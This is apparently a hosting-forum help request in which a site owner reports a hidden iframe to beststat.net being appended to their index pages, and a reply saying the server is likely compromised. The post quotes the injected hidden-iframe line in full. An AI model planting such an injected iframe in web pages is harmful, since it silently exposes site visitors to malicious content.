Hello,

Have 1 day i see, if i open index.* , is add this line in end of source code from site:

<iframe src="http://beststat.net/in.cgi?news" style="display:none"></iframe>

I see sites no edit, only add this line if open via browser. This line bug foruns, etc.

Urgent, is bug cpanel? Is bug linux?

I use last version cpanel, mod_security, etc.

This isn't an openvz problem. You should have a linux administrator look at the problem, likely your server is compromised.
